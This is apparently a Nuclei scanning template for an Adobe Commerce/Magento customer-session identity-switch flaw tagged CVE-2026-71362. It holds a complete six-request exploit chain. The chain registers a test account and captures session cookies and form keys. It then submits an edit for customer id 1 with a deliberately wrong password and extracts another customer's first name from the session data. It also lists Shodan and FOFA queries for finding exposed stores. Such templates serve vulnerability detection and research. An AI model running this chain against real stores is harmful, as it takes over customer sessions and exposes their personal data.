Adobe Commerce/Magento - Customer Session Identity Switch

id: CVE-2026-71362

info:
  name: Adobe Commerce/Magento - Customer Session Identity Switch
  author: 0x_Akoko,dinosn
  severity: critical
  description: |
    Adobe Commerce contains an incorrect authorization vulnerability caused by improper access control, letting attackers escalate privileges to access sensitive resources, exploit requires no user interaction.
  impact: |
    Attackers can gain elevated access to sensitive resources, potentially compromising system integrity and data confidentiality.
  remediation: |
    Update to the latest version of Adobe Commerce.
  reference:
    - https://helpx.adobe.com/security/products/magento/apsb26-92.html
    - https://nvd.nist.gov/vuln/detail/CVE-2026-71362
    - https://sansec.io/research/adobe-commerce-account-takeover-apsb26-92
    - https://github.com/dinosn/cve-2026-71362-magento-lab
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-71362
    epss-score: 0.25136
    epss-percentile: 0.97786
    cwe-id: CWE-863
  metadata:
    max-request: 6
    verified: true
    vendor: adobe
    product: magento
    shodan-query: http.component:"Magento"
    fofa-query: app="Magento"
  tags: cve,cve2026,magento,adobe-commerce,ato,account-takeover,intrusive,vkev

variables:
  rnd: "{{rand_int(100000, 999999)}}"
  email: "poctest{{rnd}}@poctest.invalid"
  password: "PoCPwd#{{rnd}}"

flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6)

http:
  - raw:
      - |
        GET /customer/account/create HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(tolower(body), "form_key")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: fk
        group: 1
        regex:
          - 'name="form_key"[^>]*value="([^"]+)"'
        internal: true

      - type: regex
        name: sessid
        part: header
        group: 1
        regex:
          - '(?i)Set-Cookie:\s*(PHPSESSID=[^;]+)'
        internal: true

  - raw:
      - |
        POST /customer/account/createPost HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: {{sessid}}
        Referer: {{BaseURL}}/customer/account/create

        form_key={{fk}}&firstname=PoCTestCVE&lastname=Detector&email={{email}}&password={{password}}&password_confirmation={{password}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 302'
        internal: true

    extractors:
      - type: regex
        name: sessid
        part: header
        group: 1
        regex:
          - '(?i)Set-Cookie:\s*(PHPSESSID=[^;]+)'
        internal: true

  - raw:
      - |
        GET /customer/account/edit HTTP/1.1
        Host: {{Hostname}}
        Cookie: {{sessid}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "PoCTestCVE")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: fk
        group: 1
        regex:
          - 'name="form_key"[^>]*value="([^"]+)"'
        internal: true

      - type: regex
        name: sessid
        part: header
        group: 1
        regex:
          - '(?i)Set-Cookie:\s*(PHPSESSID=[^;]+)'
        internal: true

  - raw:
      - |
        POST /customer/account/editPost HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: {{sessid}}
        Referer: {{BaseURL}}/customer/account/edit

        form_key={{fk}}&id=1&change_email=1&current_password=wrong-password-forces-exception&email={{email}}&firstname=PoCTestCVE&lastname=Detector

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 302'
        internal: true

    extractors:
      - type: regex
        name: sessid
        part: header
        group: 1
        regex:
          - '(?i)Set-Cookie:\s*(PHPSESSID=[^;]+)'
        internal: true

  - raw:
      - |
        GET /customer/account/edit HTTP/1.1
        Host: {{Hostname}}
        Cookie: {{sessid}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

    extractors:
      - type: regex
        name: sessid
        part: header
        group: 1
        regex:
          - '(?i)Set-Cookie:\s*(PHPSESSID=[^;]+)'
        internal: true

  - raw:
      - |
        GET /customer/section/load?sections=customer&force_new_section_timestamp=true HTTP/1.1
        Host: {{Hostname}}
        Cookie: {{sessid}}
        X-Requested-With: XMLHttpRequest

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - '!contains(body, "PoCTestCVE")'
          - 'regex("\"firstname\":\"[A-Za-z0-9]", body)'
        condition: and

    extractors:
      - type: regex
        name: victim_firstname
        group: 1
        regex:
          - '"firstname":"([^"]+)"'
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